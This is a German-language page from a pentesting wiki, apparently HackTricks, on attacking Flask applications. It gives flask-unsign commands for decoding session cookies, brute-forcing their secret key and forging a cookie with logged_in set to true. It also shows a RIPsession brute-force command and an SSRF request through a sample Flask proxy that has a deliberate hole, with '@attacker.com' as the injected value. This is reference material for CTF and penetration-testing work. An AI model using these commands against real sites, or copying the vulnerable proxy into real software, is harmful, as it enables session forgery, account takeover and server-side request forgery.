# Flask {{#include ../../banners/hacktricks-training.md}} **Wahrscheinlich wird eine Flask-Anwendung, wenn Sie an einem CTF teilnehmen, mit** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** verbunden sein.** ## Cookies Der Standardname der Cookie-Sitzung ist **`session`**. ### Decoder Online Flask-Cookie-Decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi) #### Manual Holen Sie sich den ersten Teil des Cookies bis zum ersten Punkt und decodieren Sie ihn mit Base64. ```bash echo "ImhlbGxvIg" | base64 -d ``` Das Cookie ist ebenfalls mit einem Passwort signiert ### **Flask-Unsign** Befehlszeilenwerkzeug zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch Raten von geheimen Schlüsseln. {{#ref}} https://pypi.org/project/flask-unsign/ {{#endref}} ```bash pip3 install flask-unsign ``` #### **Cookie decodieren** ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` #### **Brute Force** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` #### **Unterzeichnung** ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' ``` #### Signieren mit veralteten (alten) Versionen ```bash flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** Befehlszeilenwerkzeug zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies. {{#ref}} https://github.com/Tagvi/ripsession {{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` ### SQLi in Flask-Sitzungs-Cookie mit SQLmap [**Dieses Beispiel**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) verwendet die sqlmap `eval`-Option, um **sqlmap-Payloads automatisch** für Flask mit einem bekannten Geheimnis zu signieren. ## Flask-Proxy zu SSRF [**In diesem Bericht**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) wird erklärt, wie Flask eine Anfrage erlaubt, die mit dem Zeichen "@" beginnt: ```http GET @/ HTTP/1.1 Host: target.com Connection: close ``` In folgendem Szenario: ```python from flask import Flask from requests import get app = Flask('__main__') SITE_NAME = 'https://google.com/' @app.route('/', defaults={'path': ''}) @app.route('/') def proxy(path): return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` Könnte es ermöglichen, etwas wie "@attacker.com" einzuführen, um eine **SSRF** zu verursachen. {{#include ../../banners/hacktricks-training.md}}